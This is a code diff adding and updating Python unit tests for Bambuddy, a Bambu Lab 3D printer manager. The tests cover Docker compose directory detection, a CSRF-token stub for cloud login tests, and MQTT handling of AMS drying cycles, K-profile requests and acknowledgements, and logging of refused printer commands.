+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with self._mountinfo(
+            "2244 1668 0:137 / / rw,relatime - overlay overlay rw,lowerdir=/x",
+            "1437 2244 0:48 /opt/bambuddy/data /app/data rw,relatime - ext4 /dev/sda1 rw",
+        ):
+            assert _compose_dir_from_mountinfo() == "/opt/bambuddy"
+
+    def test_compose_dir_none_for_named_volume(self):
+        """The shipped compose file uses named volumes, which resolve to
+        /var/lib/docker/volumes/<project>_bambuddy_data/_data. That names the
+        compose *project* and reveals nothing about where the file lives, so
+        the correct answer is "don't know" rather than a plausible guess."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with self._mountinfo(
+            "1290 2246 0:65 /var/lib/docker/volumes/bambuddy_bambuddy_data/_data /app/data rw - ext4 /dev/sda1 rw",
+        ):
+            assert _compose_dir_from_mountinfo() is None
+
+    def test_compose_dir_none_for_relocated_bind_mount(self):
+        """`/mnt/nas/prints:/app/data` is a perfectly ordinary bind mount whose
+        parent is emphatically not a compose directory. The leaf must match the
+        mount point's own name before the parent is trusted."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with self._mountinfo(
+            "1437 2244 0:48 /mnt/nas/prints /app/data rw,relatime - nfs4 nas:/prints rw",
+        ):
+            assert _compose_dir_from_mountinfo() is None
+
+    def test_compose_dir_falls_back_to_logs_mount(self):
+        """A user who bind-mounts only ./logs still gets the directory."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with self._mountinfo(
+            "1290 2246 0:65 /var/lib/docker/volumes/bambuddy_bambuddy_data/_data /app/data rw - ext4 /dev/sda1 rw",
+            "1441 2244 0:48 /srv/bambuddy/logs /app/logs rw,relatime - ext4 /dev/sda1 rw",
+        ):
+            assert _compose_dir_from_mountinfo() == "/srv/bambuddy"
+
+    def test_compose_dir_none_without_mountinfo(self):
+        """Windows and macOS have no /proc; the guess simply doesn't happen."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with patch("builtins.open", side_effect=FileNotFoundError):
+            assert _compose_dir_from_mountinfo() is None
+
+    def test_detect_compose_dir_prefers_env_var(self):
+        """BAMBUDDY_COMPOSE_DIR is stated rather than inferred, so it wins over
+        a mountinfo guess that would otherwise point somewhere else."""
+        from backend.app.api.routes import updates as updates_module
+
+        with (
+            patch.dict("os.environ", {"BAMBUDDY_COMPOSE_DIR": "/srv/stacks/bambuddy"}),
+            patch.object(updates_module, "_compose_dir_from_mountinfo", return_value="/opt/wrong"),
+        ):
+            assert updates_module._detect_compose_dir() == "/srv/stacks/bambuddy"
+
+    def test_detect_compose_dir_skips_mountinfo_outside_docker(self):
+        """A native install has no compose file; mountinfo would still show
+        bind mounts on a host that happens to run other containers."""
+        from backend.app.api.routes import updates as updates_module
+
+        with (
+            patch.dict("os.environ", {"BAMBUDDY_COMPOSE_DIR": ""}),
+            patch.object(updates_module, "_is_docker_environment", return_value=False),
+            patch.object(updates_module, "_compose_dir_from_mountinfo", return_value="/opt/wrong"),
+        ):
+            assert updates_module._detect_compose_dir() is None
+
+    @pytest.mark.asyncio
+    async def test_check_surfaces_compose_dir_only_for_docker(self, async_client: AsyncClient):
+        """The prefill rides along with the Docker branch. A git install must
+        not receive one — there is no compose file to cd into."""
+        import httpx as _httpx
+
+        fake_release = {
+            "tag_name": "v999.9.9",
+            "name": "Far Future Release",
+            "body": "",
+            "html_url": "https://example.invalid/r",
+            "published_at": "2099-01-01T00:00:00Z",
+        }
+
+        class _Resp:
+            status_code = 200
+
+            def raise_for_status(self):
+                return None
+
+            def json(self):
+                return [fake_release]
+
+        class _FakeClient:
+            async def __aenter__(self):
+                return self
+
+            async def __aexit__(self, *_):
+                return None
+
+            async def get(self, *_, **__):
+                return _Resp()
+
+        with (
+            patch.object(_httpx, "AsyncClient", _FakeClient),
+            patch("backend.app.api.routes.updates._is_ha_addon", return_value=False),
+            patch("backend.app.api.routes.updates._is_docker_environment", return_value=True),
+            patch("backend.app.api.routes.updates._detect_compose_dir", return_value="/opt/bambuddy"),
+        ):
+            body = (await async_client.get("/api/v1/updates/check")).json()
+        assert body["update_method"] == "docker"
+        assert body["compose_dir_detected"] == "/opt/bambuddy"
+
+        with (
+            patch.object(_httpx, "AsyncClient", _FakeClient),
+            patch("backend.app.api.routes.updates._is_ha_addon", return_value=False),
+            patch("backend.app.api.routes.updates._is_docker_environment", return_value=False),
+            patch("backend.app.api.routes.updates._is_windows_installer_install", return_value=False),
+            patch("backend.app.api.routes.updates._detect_compose_dir", return_value="/opt/bambuddy"),
+        ):
+            body = (await async_client.get("/api/v1/updates/check")).json()
+        assert body["update_method"] == "git"
+        assert body["compose_dir_detected"] is None

+ 21 - 0
backend/tests/unit/services/test_bambu_cloud.py

@@ -7,6 +7,27 @@ import pytest
 from backend.app.services.bambu_cloud import BambuCloudService
 from backend.app.services.bambu_cloud import BambuCloudService
 
 
 
 
+@pytest.fixture(autouse=True)
+def _stub_csrf_handshake():
+    """Keep the CSRF pre-flight off the network for every test in this module.
+
+    ``verify_totp`` fetches a CSRF token from the ``bambulab.com`` web origin
+    before posting the code (#2696), and returns early without posting when it
+    cannot get one. The tests below patch only ``post``, so that GET went out
+    over the real network: it succeeded on any machine that could reach
+    bambulab.com — which is why this file passed locally — and returned a
+    tokenless 403 on a CI runner, where six tests then failed asserting on a
+    ``post`` that never happened.
+
+    The handshake itself is covered end to end in
+    ``tests/unit/test_cloud_totp_csrf.py``, including the no-token path, so
+    stubbing it here removes a network dependency rather than any coverage.
+    """
+    with patch.object(BambuCloudService, "_fetch_csrf_token", new_callable=AsyncMock) as fetch:
+        fetch.return_value = "csrf-token-for-tests"
+        yield fetch
+
+
 class TestBambuCloudLogin:
 class TestBambuCloudLogin:
     """Test login flow detection (email vs TOTP)."""
     """Test login flow detection (email vs TOTP)."""
 
 

+ 545 - 3
backend/tests/unit/services/test_bambu_mqtt.py

@@ -4,9 +4,11 @@ Tests for the BambuMQTTClient service.
 These tests focus on timelapse tracking during prints.
 These tests focus on timelapse tracking during prints.
 """
 """
 
 
+import asyncio
 import json
 import json
 import logging
 import logging
 import time
 import time
+from unittest.mock import MagicMock
 
 
 import pytest
 import pytest
 
 
@@ -4042,13 +4044,13 @@ class TestSendDryingCommand:
     def test_start_caches_target_for_badge(self, mqtt_client):
     def test_start_caches_target_for_badge(self, mqtt_client):
         """mode=1 send populates _drying_targets so the badge can render it."""
         """mode=1 send populates _drying_targets so the badge can render it."""
         mqtt_client.send_drying_command(ams_id=2, temp=65, duration=12, mode=1, filament="PETG")
         mqtt_client.send_drying_command(ams_id=2, temp=65, duration=12, mode=1, filament="PETG")
-        assert mqtt_client._drying_targets[2] == {"filament": "PETG", "temp": 65}
+        assert mqtt_client._drying_targets[2] == {"filament": "PETG", "temp": 65, "duration_hours": 12}
 
 
     def test_start_overwrites_prior_target_for_same_ams(self, mqtt_client):
     def test_start_overwrites_prior_target_for_same_ams(self, mqtt_client):
         """A second start on the same AMS replaces the cached target."""
         """A second start on the same AMS replaces the cached target."""
         mqtt_client.send_drying_command(ams_id=0, temp=55, duration=4, mode=1, filament="PLA")
         mqtt_client.send_drying_command(ams_id=0, temp=55, duration=4, mode=1, filament="PLA")
         mqtt_client.send_drying_command(ams_id=0, temp=70, duration=6, mode=1, filament="ABS")
         mqtt_client.send_drying_command(ams_id=0, temp=70, duration=6, mode=1, filament="ABS")
-        assert mqtt_client._drying_targets[0] == {"filament": "ABS", "temp": 70}
+        assert mqtt_client._drying_targets[0] == {"filament": "ABS", "temp": 70, "duration_hours": 6}
 
 
     def test_stop_clears_target(self, mqtt_client):
     def test_stop_clears_target(self, mqtt_client):
         """mode=0 send drops the cache so the badge stops showing the target."""
         """mode=0 send drops the cache so the badge stops showing the target."""
@@ -4063,7 +4065,7 @@ class TestSendDryingCommand:
         mqtt_client.send_drying_command(ams_id=128, temp=80, duration=6, mode=1, filament="PA-CF")
         mqtt_client.send_drying_command(ams_id=128, temp=80, duration=6, mode=1, filament="PA-CF")
         mqtt_client.send_drying_command(ams_id=0, temp=0, duration=0, mode=0)
         mqtt_client.send_drying_command(ams_id=0, temp=0, duration=0, mode=0)
         assert 0 not in mqtt_client._drying_targets
         assert 0 not in mqtt_client._drying_targets
-        assert mqtt_client._drying_targets[128] == {"filament": "PA-CF", "temp": 80}
+        assert mqtt_client._drying_targets[128] == {"filament": "PA-CF", "temp": 80, "duration_hours": 6}
 
 
 
 
 class TestStartPrintAmsMapping:
 class TestStartPrintAmsMapping:
@@ -6076,6 +6078,131 @@ class TestDryingCompleteCallback:
         mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "tray": []}]})
         mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "tray": []}]})
         assert mqtt_client._drying_events == [0]
         assert mqtt_client._drying_events == [0]
 
 
+    def test_transient_zero_while_checking_is_not_completion(self, mqtt_client):
+        """#2759 — between the command ack and the countdown settling, firmware
+        publishes a dry_time of 0 while the AMS is still in its Checking phase.
+        The reporter's log caught 720 → 0 → 719 one minute into a 12-hour
+        cycle: it dropped the cached target (so the badge guessed the filament
+        from tray 1 and read "PETG @ 65°C" for a PLA dry) and armed smart-plug
+        auto-off."""
+        mqtt_client._drying_targets[0] = {"filament": "PLA", "temp": 45}
+        # Cycle starts: 12 hours, unit reports dry_status 1 (Checking).
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 720, "info": "11402113", "tray": []}]})
+        assert mqtt_client._drying_events == []
+
+        # The blip: dry_time 0, still Checking.
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "info": "11402113", "tray": []}]})
+        assert mqtt_client._drying_events == []
+        # And the user's chosen target survived it.
+        assert mqtt_client._drying_targets[0] == {"filament": "PLA", "temp": 45}
+
+        # Countdown settles and the unit moves to dry_status 2 (Drying).
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 719, "info": "11402123", "tray": []}]})
+        assert mqtt_client._drying_events == []
+
+        # Twelve hours later it really finishes, back to dry_status 0 (Off).
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "info": "11402103", "tray": []}]})
+        assert mqtt_client._drying_events == [0]
+        assert 0 not in mqtt_client._drying_targets
+
+    def test_zero_while_stopping_completes(self, mqtt_client):
+        """dry_status 4 (Stopping) means the cycle is ending, not running — the
+        edge must still fire so smart-plug auto-off runs when a user stops a
+        dry early."""
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 720, "info": "11402123", "tray": []}]})
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "info": "11402143", "tray": []}]})
+        assert mqtt_client._drying_events == [0]
+
+    def test_absent_dry_status_still_completes(self, mqtt_client):
+        """The phase gate is a suppression, not a requirement: firmware that
+        never reports an info hex must still be able to end a cycle."""
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 720, "tray": []}]})
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "tray": []}]})
+        assert mqtt_client._drying_events == [0]
+
+    def test_early_end_logs_firmware_reason_codes(self, mqtt_client, caplog):
+        """#2770 — a 12-hour cycle the firmware abandoned 20 minutes in logged
+        only 'drying complete', so the report carried no evidence of why. An
+        early end now names the shortfall and the reason fields we already
+        parse: phase, sub-phase, cannot-dry codes and live HMS."""
+        from backend.app.services.bambu_mqtt import HMSError
+
+        mqtt_client.state.hms_errors = [
+            HMSError(code="0x2000003", attr=0x07008000, module=7, severity=2, full_code="0700800002000003")
+        ]
+        mqtt_client._client = MagicMock()
+        mqtt_client.send_drying_command(ams_id=0, temp=65, duration=12, mode=1, filament="PETG")
+        mqtt_client._handle_ams_data(
+            {"ams": [{"id": "0", "dry_time": 700, "info": "10002123", "dry_sf_reason": [1], "tray": []}]}
+        )
+        with caplog.at_level(logging.INFO, logger="backend.app.services.bambu_mqtt"):
+            mqtt_client._handle_ams_data(
+                {"ams": [{"id": "0", "dry_time": 0, "info": "10002103", "dry_sf_reason": [1], "tray": []}]}
+            )
+
+        assert mqtt_client._drying_events == [0]
+        message = "\n".join(r.getMessage() for r in caplog.records)
+        assert "drying ended early" in message
+        # The shortfall, against the duration we asked the firmware for.
+        assert "700 of 720 minutes" in message
+        # dry_status 0 (Off) and dry_sub_status 0 from info hex 10002103.
+        assert "dry_status=0" in message
+        assert "dry_sub_status=0" in message
+        # InsufficientPower, and the AMS heater-fan HMS that goes with it.
+        assert "dry_sf_reason=[1]" in message
+        assert "0700800002000003" in message
+
+    def test_early_end_without_a_cached_target_still_logs(self, mqtt_client, caplog):
+        """A cycle Bambuddy did not start — from the printer's screen, from
+        Studio, or from before a restart — has no cached duration to compare
+        against. The remaining time alone still proves it was cut short, so the
+        reason codes must be logged rather than withheld for lack of a target."""
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 480, "tray": []}]})
+        with caplog.at_level(logging.INFO, logger="backend.app.services.bambu_mqtt"):
+            mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "tray": []}]})
+
+        message = "\n".join(r.getMessage() for r in caplog.records)
+        assert "drying ended early" in message
+        assert "480 of ? minutes" in message
+        assert "hms=none" in message
+
+    def test_stop_we_sent_is_not_blamed_on_the_firmware(self, mqtt_client, caplog):
+        """A stop Bambuddy sends — print takes priority, or the user's Stop
+        button — also ends the cycle far short of its duration, which on the
+        telemetry alone looks exactly like the firmware abandoning it. It must
+        be named as ours rather than reported as an unexplained early end."""
+        mqtt_client._client = MagicMock()
+        mqtt_client.send_drying_command(ams_id=0, temp=65, duration=12, mode=1, filament="PETG")
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 700, "tray": []}]})
+        mqtt_client.send_drying_command(ams_id=0, temp=0, duration=0, mode=0)
+        with caplog.at_level(logging.INFO, logger="backend.app.services.bambu_mqtt"):
+            mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "tray": []}]})
+
+        message = "\n".join(r.getMessage() for r in caplog.records)
+        assert "drying stopped by Bambuddy" in message
+        assert "ended early" not in message
+        # And the attribution is consumed, so a later firmware-ended cycle on
+        # the same unit is not credited to a stop we sent hours earlier.
+        mqtt_client.send_drying_command(ams_id=0, temp=65, duration=12, mode=1, filament="PETG")
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 700, "tray": []}]})
+        caplog.clear()
+        with caplog.at_level(logging.INFO, logger="backend.app.services.bambu_mqtt"):
+            mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "tray": []}]})
+        assert "drying ended early" in "\n".join(r.getMessage() for r in caplog.records)
+
+    def test_cycle_that_runs_to_term_keeps_the_plain_completion_log(self, mqtt_client, caplog):
+        """The countdown of a cycle that finishes normally is all but exhausted
+        when it drops to 0. Nothing needs explaining, so it keeps the one-line
+        message it has always had — the early-end diagnostics must not become
+        noise on every completed dry."""
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 1, "tray": []}]})
+        with caplog.at_level(logging.INFO, logger="backend.app.services.bambu_mqtt"):
+            mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "tray": []}]})
+
+        message = "\n".join(r.getMessage() for r in caplog.records)
+        assert "drying complete (dry_time 1 → 0)" in message
+        assert "ended early" not in message
+
 
 
 class TestPrintRunningObservedCallback:
 class TestPrintRunningObservedCallback:
     """#1485 follow-up: on_print_running_observed fires the FIRST time we
     """#1485 follow-up: on_print_running_observed fires the FIRST time we
@@ -6832,6 +6959,302 @@ class TestKProfileResponseDoesNotClobberNozzle:
         assert mqtt_client.state.nozzles[0].nozzle_diameter == "0.4"
         assert mqtt_client.state.nozzles[0].nozzle_diameter == "0.4"
 
 
 
 
+class TestKProfileNozzleDiameterFromEnvelope:
+    """#1748: every K-profile came back as 0.4mm on single-nozzle printers.
+
+    ``extrusion_cali_get`` carries ``nozzle_diameter`` only on the response
+    envelope — the per-filament entries hold just setting_id, filament_id,
+    name, k_value, n_coef and cali_idx. The parser read the field per entry
+    with a "0.4" default, so a 0.6/0.8 nozzle's profiles were all stamped 0.4.
+    Beyond the K-Profiles display that broke the cali_idx cascade in the
+    inventory and Spoolman assign paths, which match on nozzle_diameter.
+    """
+
+    @pytest.fixture
+    def mqtt_client(self):
+        from backend.app.services.bambu_mqtt import BambuMQTTClient
+
+        return BambuMQTTClient(
+            ip_address="192.168.1.100",
+            serial_number="X1ETEST",
+            access_code="12345678",
+        )
+
+    @staticmethod
+    def _response(nozzle="0.8", entries=None, seq="48"):
+        """A verbatim-shaped extrusion_cali_get payload from the #1748 report."""
+        if entries is None:
+            entries = [
+                {
+                    "setting_id": "GFSNLS02_07",
+                    "filament_id": "GFSNL02",
+                    "name": "SUNLU PLA Matte WHITE 0.8",
+                    "k_value": "0.01750",
+                    "n_coef": "1.000",
+                    "cali_idx": 265,
+                    "is_history_setting": True,
+                }
+            ]
+        print_data = {"command": "extrusion_cali_get", "filament_id": "", "filaments": entries}
+        if nozzle is not None:
+            print_data["nozzle_diameter"] = nozzle
+        if seq is not None:
+            print_data["sequence_id"] = seq
+        return {"print": print_data}
+
+    def test_broadcast_uses_envelope_diameter(self, mqtt_client):
+        # No request in flight: the unsolicited broadcast still has to record
+        # the right diameter, because state.kprofiles is what the assign paths
+        # read when nobody has just fetched.
+        mqtt_client._process_message(self._response(nozzle="0.8"))
+        assert [p.nozzle_diameter for p in mqtt_client.state.kprofiles] == ["0.8"]
+
+    @pytest.mark.asyncio
+    async def test_awaited_response_uses_envelope_diameter(self, mqtt_client):
+        profiles = await self._fetch(mqtt_client, "0.6", self._response(nozzle="0.6", seq="7"))
+        assert [p.nozzle_diameter for p in profiles] == ["0.6"]
+
+    def test_entry_value_still_wins(self, mqtt_client):
+        # Dual-nozzle firmware does put the field on each entry; that stays
+        # authoritative, since a batch can legitimately span nozzles.
+        entries = [{"cali_idx": 1, "filament_id": "GFA00", "name": "PLA", "nozzle_diameter": "0.4"}]
+        mqtt_client._process_message(self._response(nozzle="0.8", entries=entries))
+        assert mqtt_client.state.kprofiles[0].nozzle_diameter == "0.4"
+
+    def test_empty_entry_value_falls_back_to_envelope(self, mqtt_client):
+        entries = [{"cali_idx": 1, "filament_id": "GFA00", "name": "PLA", "nozzle_diameter": ""}]
+        mqtt_client._process_message(self._response(nozzle="0.8", entries=entries))
+        assert mqtt_client.state.kprofiles[0].nozzle_diameter == "0.8"
+
+    def test_no_envelope_value_falls_back_to_default(self, mqtt_client):
+        # Neither source available: keep the old default rather than let
+        # str(None) write the literal string "None" into the profile.
+        mqtt_client._process_message(self._response(nozzle=None))
+        assert mqtt_client.state.kprofiles[0].nozzle_diameter == "0.4"
+
+    @staticmethod
+    async def _fetch(client, nozzle, response):
+        """Run get_kprofiles, feeding `response` in as the printer's answer."""
+        client.state.connected = True
+        client._client = MagicMock()
+        client._client.publish.side_effect = lambda *a, **kw: client._process_message(response)
+        return await client.get_kprofiles(nozzle_diameter=nozzle, timeout=2.0)
+
+
+class TestKProfileWriteAcks:
+    """#2718: K-profile writes were fire-and-forget.
+
+    ``set_kprofiles_batch`` published and returned True immediately, and the
+    printer's ``extrusion_cali_set`` answer was logged at DEBUG and dropped, so
+    a rejected write was reported to the user as saved. Two facts measured on
+    real hardware shape the fix: the printer echoes our ``sequence_id`` back
+    (so the ack can be correlated), and it answers ``result: "fail",
+    reason: "invalid tray_id"`` to ``tray_id: -1`` on single-nozzle firmware
+    while applying the write anyway — flipping that field to 0 is what makes
+    ``result`` trustworthy.
+    """
+
+    @pytest.fixture
+    def mqtt_client(self):
+        from backend.app.services.bambu_mqtt import BambuMQTTClient
+
+        client = BambuMQTTClient(
+            ip_address="192.168.1.100",
+            serial_number="X1CTEST",
+            access_code="12345678",
+        )
+        client.state.connected = True
+        client._client = MagicMock()
+        return client
+
+    @staticmethod
+    def _sent(client):
+        return json.loads(client._client.publish.call_args[0][1])["print"]
+
+    def test_set_sends_tray_id_zero(self, mqtt_client):
+        mqtt_client.set_kprofile(filament_id="GFL99", name="test", k_value="0.022000")
+        assert self._sent(mqtt_client)["filaments"][0]["tray_id"] == 0
+
+    def test_batch_sends_tray_id_zero(self, mqtt_client):
+        mqtt_client.set_kprofiles_batch([{"filament_id": "GFL99", "name": "t", "k_value": "0.020000"}])
+        assert self._sent(mqtt_client)["filaments"][0]["tray_id"] == 0
+
+    def test_writers_return_their_sequence_id(self, mqtt_client):
+        seq = mqtt_client.set_kprofile(filament_id="GFL99", name="test", k_value="0.022000")
+        assert seq == self._sent(mqtt_client)["sequence_id"]
+        assert seq in mqtt_client._pending_cali_acks
+
+    def test_writers_return_none_when_disconnected(self, mqtt_client):
+        mqtt_client.state.connected = False
+        assert mqtt_client.set_kprofile(filament_id="GFL99", name="t", k_value="0.02") is None
+        assert mqtt_client.set_kprofiles_batch([{"filament_id": "GFL99"}]) is None
+        assert mqtt_client.delete_kprofile(cali_idx=1, filament_id="GFL99", nozzle_id="HH00-0.4") is None
+
+    def test_per_tray_extrusion_cali_set_advances_the_sequence_id(self, mqtt_client):
+        # It used to reuse the previous command's id, which would silently
+        # defeat the correlation the write path now depends on.
+        before = mqtt_client._sequence_id
+        mqtt_client.extrusion_cali_set(tray_id=0, k_value=0.02)
+        assert mqtt_client._sequence_id > before
+        assert self._sent(mqtt_client)["sequence_id"] == str(mqtt_client._sequence_id)
+
+    @pytest.mark.asyncio
+    async def test_failure_ack_is_reported_as_failure(self, mqtt_client):
+        seq = mqtt_client.set_kprofile(filament_id="GFL99", name="test", k_value="0.022000")
+        mqtt_client._process_message(
+            {
+                "print": {
+                    "command": "extrusion_cali_set",
+                    "result": "fail",
+                    "reason": "invalid tray_id",
+                    "sequence_id": seq,
+                }
+            }
+        )
+        ok, detail = await mqtt_client.await_cali_ack(seq, timeout=2.0)
+        assert ok is False
+        assert detail == "invalid tray_id"
+
+    @pytest.mark.asyncio
+    async def test_success_ack_passes(self, mqtt_client):
+        seq = mqtt_client.set_kprofile(filament_id="GFL99", name="test", k_value="0.022000")
+        mqtt_client._process_message(
+            {"print": {"command": "extrusion_cali_set", "result": "success", "reason": "", "sequence_id": seq}}
+        )
+        ok, _ = await mqtt_client.await_cali_ack(seq, timeout=2.0)
+        assert ok is True
+
+    @pytest.mark.asyncio
+    async def test_ack_for_another_write_does_not_resolve_this_one(self, mqtt_client):
+        seq = mqtt_client.set_kprofile(filament_id="GFL99", name="test", k_value="0.022000")
+        mqtt_client._process_message(
+            {
+                "print": {
+                    "command": "extrusion_cali_set",
+                    "result": "fail",
+                    "reason": "invalid tray_id",
+                    "sequence_id": "999999",
+                }
+            }
+        )
+        # Unrelated sequence_id: this write is still unanswered, so it times
+        # out rather than inheriting someone else's failure.
+        ok, detail = await mqtt_client.await_cali_ack(seq, timeout=0.3)
+        assert ok is True
+        assert "no acknowledgement" in detail
+
+    @pytest.mark.asyncio
+    async def test_silence_is_not_treated_as_rejection(self, mqtt_client):
+        # Firmware that never answers must not turn every save into an error.
+        seq = mqtt_client.delete_kprofile(cali_idx=1, filament_id="GFL99", nozzle_id="HH00-0.4")
+        ok, detail = await mqtt_client.await_cali_ack(seq, timeout=0.3)
+        assert ok is True
+        assert "no acknowledgement" in detail
+
+    @pytest.mark.asyncio
+    async def test_pending_slot_is_released(self, mqtt_client):
+        seq = mqtt_client.set_kprofile(filament_id="GFL99", name="test", k_value="0.022000")
+        await mqtt_client.await_cali_ack(seq, timeout=0.3)
+        assert mqtt_client._pending_cali_acks == {}
+
+    def test_delete_ack_is_matched_too(self, mqtt_client):
+        seq = mqtt_client.delete_kprofile(cali_idx=1, filament_id="GFL99", nozzle_id="HH00-0.4")
+        mqtt_client._process_message(
+            {"print": {"command": "extrusion_cali_del", "result": "success", "sequence_id": seq}}
+        )
+        assert mqtt_client._pending_cali_acks[seq]["result"] == "success"
+
+
+class TestKProfileRequestCorrelation:
+    """#1748: K-profile requests timed out whenever two were in flight.
+
+    Responses were matched to requests by nozzle diameter alone, held in one
+    shared ``_expected_kprofile_nozzle`` slot. A second request overwrote the
+    first's expectation, so the first's valid answer was discarded as a
+    mismatch and that request timed out even though the printer had replied.
+    Correlation now runs off the sequence_id we send, with the nozzle match
+    kept as a fallback for firmware that doesn't echo it.
+    """
+
+    @pytest.fixture
+    def mqtt_client(self):
+        from backend.app.services.bambu_mqtt import BambuMQTTClient
+
+        client = BambuMQTTClient(
+            ip_address="192.168.1.100",
+            serial_number="X1ETEST",
+            access_code="12345678",
+        )
+        client.state.connected = True
+        client._client = MagicMock()
+        return client
+
+    @staticmethod
+    def _response(nozzle, seq, name):
+        return {
+            "print": {
+                "command": "extrusion_cali_get",
+                "nozzle_diameter": nozzle,
+                "sequence_id": seq,
+                "filaments": [{"cali_idx": 1, "filament_id": "GFA00", "name": name, "k_value": "0.020000"}],
+            }
+        }
+
+    @pytest.mark.asyncio
+    async def test_concurrent_requests_each_get_their_own_response(self, mqtt_client):
+        # The failing sequence from the report: 0.8 is requested, then 0.4,
+        # then the 0.8 answer lands. Under nozzle-only matching the expected
+        # slot already said 0.4, so the 0.8 answer was dropped on the floor.
+        seen: list[str] = []
+
+        def publish(_topic, payload, **_kw):
+            seen.append(json.loads(payload)["print"]["sequence_id"])
+
+        mqtt_client._client.publish.side_effect = publish
+
+        big = asyncio.create_task(mqtt_client.get_kprofiles(nozzle_diameter="0.8", timeout=5.0))
+        small = asyncio.create_task(mqtt_client.get_kprofiles(nozzle_diameter="0.4", timeout=5.0))
+        await asyncio.sleep(0)  # let both publish before either answer arrives
+        assert len(seen) == 2
+
+        mqtt_client._process_message(self._response("0.8", seen[0], "wide"))
+        mqtt_client._process_message(self._response("0.4", seen[1], "narrow"))
+
+        assert [p.name for p in await big] == ["wide"]
+        assert [p.name for p in await small] == ["narrow"]
+
+    @pytest.mark.asyncio
+    async def test_falls_back_to_nozzle_match_when_sequence_id_is_not_echoed(self, mqtt_client):
+        # Firmware that answers with its own sequence_id must keep working.
+        mqtt_client._client.publish.side_effect = lambda *a, **kw: mqtt_client._process_message(
+            self._response("0.6", "9999", "echoed-nothing")
+        )
+        profiles = await mqtt_client.get_kprofiles(nozzle_diameter="0.6", timeout=2.0)
+        assert [p.name for p in profiles] == ["echoed-nothing"]
+
+    @pytest.mark.asyncio
+    async def test_unrelated_broadcast_does_not_clobber_a_pending_fetch(self, mqtt_client):
+        # The printer broadcasts 0.4 profiles unsolicited. One arriving while a
+        # 0.8 fetch is open must neither satisfy nor overwrite it.
+        def publish(_topic, payload, **_kw):
+            seq = json.loads(payload)["print"]["sequence_id"]
+            mqtt_client._process_message(self._response("0.4", "9999", "broadcast"))
+            mqtt_client._process_message(self._response("0.8", seq, "wanted"))
+
+        mqtt_client._client.publish.side_effect = publish
+        profiles = await mqtt_client.get_kprofiles(nozzle_diameter="0.8", timeout=2.0)
+        assert [p.name for p in profiles] == ["wanted"]
+        assert [p.name for p in mqtt_client.state.kprofiles] == ["wanted"]
+
+    @pytest.mark.asyncio
+    async def test_pending_entry_is_released_on_timeout(self, mqtt_client):
+        # A timed-out attempt must not leave its entry behind, or a later
+        # broadcast would be matched to a request nobody is waiting on.
+        profiles = await mqtt_client.get_kprofiles(nozzle_diameter="0.8", timeout=0.01, max_retries=1)
+        assert profiles == []
+        assert mqtt_client._pending_kprofile_requests == {}
+
+
 class TestConnectRefusalReporting:
 class TestConnectRefusalReporting:
     """#2698: a refused CONNACK must leave a trace.
     """#2698: a refused CONNACK must leave a trace.
 
 
@@ -7153,3 +7576,122 @@ class TestEndOfPrintProbe:
         probe_lines = [line for line in caplog.text.splitlines() if "EOP-PROBE" in line]
         probe_lines = [line for line in caplog.text.splitlines() if "EOP-PROBE" in line]
         assert probe_lines
         assert probe_lines
         assert not any("12345678" in line for line in probe_lines)
         assert not any("12345678" in line for line in probe_lines)
+
+
+class TestAmsFilamentSettingRefusalLogging:
+    """A refused `ams_filament_setting` reaches the log at INFO (#2756).
+
+    The reporter configured a slot on an X1C six times. Every request returned
+    HTTP 200, every publish carried the complete `GFG99`/`GFSG99` pair, and
+    every #2582 read-back showed the previous profile still in place — with no
+    record anywhere of what the printer answered, because the response sat at
+    DEBUG and support bundles are collected at INFO.
+
+    Only a non-success is promoted. This command is not rare — every spool
+    assignment and every K-profile re-apply sends one — so logging each ack
+    would bury the one line worth reading.
+    """
+
+    @pytest.fixture
+    def mqtt_client(self):
+        from backend.app.services.bambu_mqtt import BambuMQTTClient
+
+        return BambuMQTTClient(
+            ip_address="192.168.1.100",
+            serial_number="TEST123",
+            access_code="12345678",
+        )
+
+    def _refusals(self, caplog):
+        return [line for line in caplog.text.splitlines() if "ams_filament_setting refused" in line]
+
+    def test_refusal_is_logged_at_info_with_result_and_reason(self, mqtt_client, caplog):
+        caplog.set_level(logging.INFO, logger="backend.app.services.bambu_mqtt")
+
+        mqtt_client._process_message(
+            {
+                "print": {
+                    "command": "ams_filament_setting",
+                    "result": "fail",
+                    "reason": "invalid tray_id",
+                    "ams_id": 0,
+                    "tray_id": 1,
+                    "sequence_id": "0",
+                }
+            }
+        )
+
+        refusals = self._refusals(caplog)
+        assert len(refusals) == 1
+        # The reason is the whole point of the promotion — a bare "fail" would
+        # not have told the reporter anything the read-back hadn't already.
+        assert "result=fail" in refusals[0]
+        assert "invalid tray_id" in refusals[0]
+        assert "ams_id=0" in refusals[0]
+        assert "tray_id=1" in refusals[0]
+
+    def test_success_stays_quiet(self, mqtt_client, caplog):
+        caplog.set_level(logging.INFO, logger="backend.app.services.bambu_mqtt")
+
+        mqtt_client._process_message(
+            {"print": {"command": "ams_filament_setting", "result": "success", "sequence_id": "0"}}
+        )
+
+        assert self._refusals(caplog) == []
+
